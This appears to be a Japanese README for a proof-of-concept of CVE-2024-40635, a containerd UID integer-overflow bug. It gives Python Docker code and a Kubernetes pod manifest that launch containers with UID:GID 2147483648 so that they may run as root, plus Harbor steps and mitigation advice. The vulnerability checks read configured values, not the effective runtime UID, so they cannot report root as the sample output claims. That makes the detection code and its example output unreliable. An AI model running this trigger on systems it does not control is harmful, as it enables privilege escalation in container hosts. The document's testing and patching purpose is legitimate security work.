CVE-2024-40635_POC

CVE-2024-40635 の脆弱性を検証するための Proof of Concept コード データはこちらから取得: https://nvd.nist.gov/vuln/detail/CVE-2024-40635

1. Docker ライブラリのインポート

import docker

これは Python の docker ライブラリをインポートするもので、Docker の API を使用して Docker と対話できるようにします。このライブラリがインストールされていない場合は、以下を実行して追加できます:

pip install docker

2. Docker クライアントの初期化

client = docker.from_env()

ここでは、docker.from_env() メソッドを使用して Docker クライアントオブジェクトを作成します。これにより、(設定されている場合は)お使いのマシンまたはリモートホストで実行中の Docker デーモンに接続します。

3. 脆弱性をチェックする関数の定義

def is_system_vulnerable(container):
    try:
        # Inspect container details
        details = container.attrs
        uid_gid = details['Config']['User']
        print(f"Container UID:GID = {uid_gid}")  # Print the UID:GID
        if uid_gid == "0:0":  # Root UID:GID
            return True
        return False
    except Exception as e:
        print(f"Error checking container details: {e}")
        return False

• 目的: この関数は、作成されたコンテナの属性を検査して、システムが脆弱かどうかをチェックします。

• 主要なステップ:

  • container.attrs: コンテナに関するすべてのメタデータ(構成、ランタイム設定など)を取得します。

  • details['Config']['User']: コンテナが実行される UID:GID(ユーザー ID とグループ ID)を抽出します。これがテスト対象のプロパティです。

  • print(f"Container UID:GID = {uid_gid}"): 可視性のため、常に UID:GID を出力します。

  • 脆弱性のチェック: UID:GID が "0:0" の場合、コンテナが root 権限で実行されていることを示し、システムが脆弱であることを意味します。

4. Docker コンテナの実行

container = client.containers.run(
    "vulnerable-image",  # Replace with your test image
    user="2147483648:2147483648",  # UID:GID exceeding 32-bit signed integer
    detach=True
)

• client.containers.run: Docker コンテナを作成して起動します。

  • "vulnerable-image": テストに適した実際の Docker イメージの名前に置き換えてください。

  • user="2147483648:2147483648": ここでは、カスタムのユーザー ID とグループ ID(UID:GID)を設定します。この値は 32 ビット符号付き整数の範囲を超えており、これが脆弱性のトリガー条件となります。

  • detach=True: コンテナがバックグラウンドで実行されるようにし、コンテナの実行が終了するのを待たずにスクリプトが続行できるようにします。

5. エラーのチェック

try:
    ...
except Exception as e:
    print(f"Error: {e}")

この try-except ブロックは、コンテナの作成または実行中に発生したエラーを捕捉して出力し、スクリプトが突然終了するのを防ぎます。

6. コンテナ ID の出力

print(f"Container {container.id} started.")

コンテナが正常に作成され起動されると、参照用にその一意の ID が出力されます。これは、デバッグやコンテナのさらなる調査に役立ちます。

7. 脆弱性チェックの呼び出し

if is_system_vulnerable(container):
    print("System is vulnerable: Container is running as root!")
else:
    print("System is not vulnerable.")

これは、作成したコンテナを引数として渡し、is_system_vulnerable function を呼び出します。

結果(True は脆弱、False は脆弱でない)に基づいて、対応するメッセージを出力します。

8. 出力の詳細

このスクリプトは、出力に以下のような詳細情報を提供するように設計されています:

• コンテナに割り当てられた UID:GID。

• システムが脆弱かどうかの明確な表示。

実行例:

このスクリプトがテスト環境で実行されると、次のようなことが起こるとします:

1. 脆弱なイメージとユーザー 2147483648:2147483648 を使用してコンテナが作成されます。
2. 脆弱性チェック中に、システムはこれらの ID を 0:0(root)として解釈し、コンテナが root 権限で実行されることになります。
3. スクリプトはこの動作を検出し、以下を出力します:

Container abc123 started.
Container UID:GID = 0:0
System is vulnerable: Container is running as root!

あるいは、システムが大きな UID:GID 値を正しく処理し、それらを root にマップしない場合は、次のように表示される可能性があります:

Container xyz456 started.
Container UID:GID = 2147483648:2147483648
System is not vulnerable.

テストに関する注意事項:

• 本番システムを危険にさらさないように、分離された環境(例: VM)を使用してください。
• "vulnerable-image" を、テストシナリオに適した Docker イメージ(例: 依存関係が最小限のイメージ)に置き換えてください。
• Docker がインストールされ、Python 環境からアクセスできることを確認してください。

---

環境内からの実行

Kubernetes や Harbor などのライブ環境でこの Proof of Concept(PoC)を実行してペネトレーションテストを行うには、テストが管理され、倫理的で、効果的であることを保証するための慎重な計画が必要です。以下に、その実施方法の内訳を示します:

1. 計画と準備 スコープを理解する: テストの境界を定義します。ライブ環境でペネトレーションテストを実施するための明示的な許可があることを確認してください。

2. バックアップ: テストが可用性やデータに影響を与える場合に備えて、重要なシステムとコンテナのバックアップを作成します。

3 テスト環境: 本番ワークロードに影響を与えないように、この PoC 専用の Kubernetes 内の別の名前空間またはクラスターを設定します。

2. Kubernetes を使用したテスト PoC を Kubernetes に統合する方法は次のとおりです: a. 脆弱なバージョンのデプロイ

• Kubernetes クラスター内に、脆弱なバージョンの containerd (v1.6.35-gke.0) を使用したコンテナをデプロイします。

• 攻撃対象領域を小さく保つために、依存関係が最小限の Docker イメージ(例: "vulnerable-image")を使用します。

Kubernetes デプロイメント用の YAML の例:

apiVersion: v1
kind: Pod
metadata:
  name: vulnerable-pod
  namespace: pentest
spec:
  containers:
  - name: vulnerable-container
    image: vulnerable-image  # Replace with your test image
    securityContext:
      runAsUser: 2147483648  # Intentionally exceed 32-bit signed integer
      runAsGroup: 2147483648

以下のコマンドで YAML を適用します:

kubectl apply -f pod.yml

b. PoC による検証

• Kubernetes クラスターにアクセスできるマシンから、開発した Python スクリプトを実行します。たとえば、kubernetes Python ライブラリを使用して Kubernetes と対話するようにスクリプトを変更できます。

• 以下のコマンドでインストールします:

pip install kubernetes

Kubernetes を統合するための更新されたスニペットは次のとおりです:

from kubernetes import client, config

# Load Kubernetes configuration
config.load_kube_config()

# Create a Kubernetes API client
v1 = client.CoreV1Api()

# Check UID:GID for the specified pod
def check_pod_user(pod_name, namespace):
    pod = v1.read_namespaced_pod(name=pod_name, namespace=namespace)
    uid = pod.spec.containers[0].security_context.run_as_user
    gid = pod.spec.containers[0].security_context.run_as_group
    print(f"Pod {pod_name} UID:GID = {uid}:{gid}")
    if uid == 0 and gid == 0:
        print("System is vulnerable: Pod is running as root!")
    else:
        print("System is not vulnerable.")

check_pod_user("vulnerable-pod", "pentest")

3. イメージ管理に Harbor を使用する Harbor はコンテナレジストリであるため、以下を行うことができます:

• 脆弱なイメージをプッシュする: 脆弱なイメージにタグを付け、Harbor にプッシュします:

docker tag vulnerable-image harbor.local/vulnerable-image:latest
docker push harbor.local/vulnerable-image:latest

• テスト用のイメージをプルする: YAML ファイルの image フィールドに Harbor の完全なパスを指定して、Kubernetes Pod が Harbor のイメージを使用するようにします。

Harbor ではイメージへのアクセスを制御できるため、脆弱なイメージがペネトレーションテストでのみ使用されるようにアクセスを制限してください。

4. 結果の検証と文書化

• 検証: PoC の実行後、ログに脆弱性がトリガーされた兆候がないか確認します。たとえば、コンテナ(または Pod)が root として実行されているかどうかを確認します。

• 文書化: 以下のような調査結果を記録します:

  • コンテナまたは Pod に割り当てられた UID:GID。
  • システムが脆弱かどうかを示すログまたは出力。
  • 緩和策の推奨事項(例: containerd を修正済みバージョンにアップグレードする)。

5. 緩和策 テストが完了したら:

• containerd を修正済みバージョン(1.6.38 以降)にアップグレードして、環境にパッチを適用します。
• 安全でない UID:GID 構成のコンテナが実行されないように、セキュリティポリシー(例: PodSecurityPolicy または Open Policy Agent の使用)を適用します。

注意

• 自分が管理している環境、または明示的なテスト許可がある環境でのみテストを実行してください。
• 脆弱なイメージがテスト環境以外にデプロイされないようにしてください。
• 機密性の高い調査結果は、組織に報告することで責任を持って取り扱ってください。